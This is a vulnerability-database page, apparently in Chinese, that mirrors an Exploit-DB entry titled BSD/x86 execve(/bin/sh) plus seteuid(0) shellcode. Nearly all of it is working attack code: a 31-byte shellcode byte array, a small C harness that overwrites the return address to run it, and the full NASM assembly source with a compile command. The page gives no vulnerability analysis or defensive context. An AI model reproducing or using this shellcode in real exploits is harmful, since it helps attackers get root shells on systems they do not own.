BSD/x86 - execve(/bin/sh) + seteuid(0) Shellcode (31 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057133 漏洞类型
发布时间 2009-01-01 更新时间 2009-01-01
CVE编号 N/A CNNVD-ID N/A
漏洞平台 BSD_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/43644
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
simply	execve_binsh+seteuid(0) shellcode in 31 bytes
written on nasm - my first nasm exp.
greetz2:
	mig	#darknet /EFnet.org
	nerf	#nerf	 /EFnet.org
				dev0id #rus-sec /EFnet.org (rootteam.void.ru)
*/

char shellcode[] =
	"\x31\xc0\x50\xb0\xb7\xcd\x80\x50\x31\xc0\x50\x68\x2f\x2f\x73"
	"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd"
	"\x80";
void
main()
{
	int *ret;
	ret=(int*)&ret+2;
	(*ret)=(int)shellcode;
}

/****************************************
--------------start---------------------
BITS 32

main:
	xor		eax,eax
	push		eax
	mov		al,183
	int		0x80
	push		eax
	xor		eax,eax
	push		eax
	push long	0x68732f2f
	push long	0x6e69622f
	mov		ebx,esp
	push		eax
	push		esp
	push		ebx
	mov		al,59
	push		eax
	int		0x80

	;mov		al,1    need exit? I do not!
	;push		eax
	;int		0x80
---------------end----------------------
compilation:
	%nasm code.s -o code
****************************************/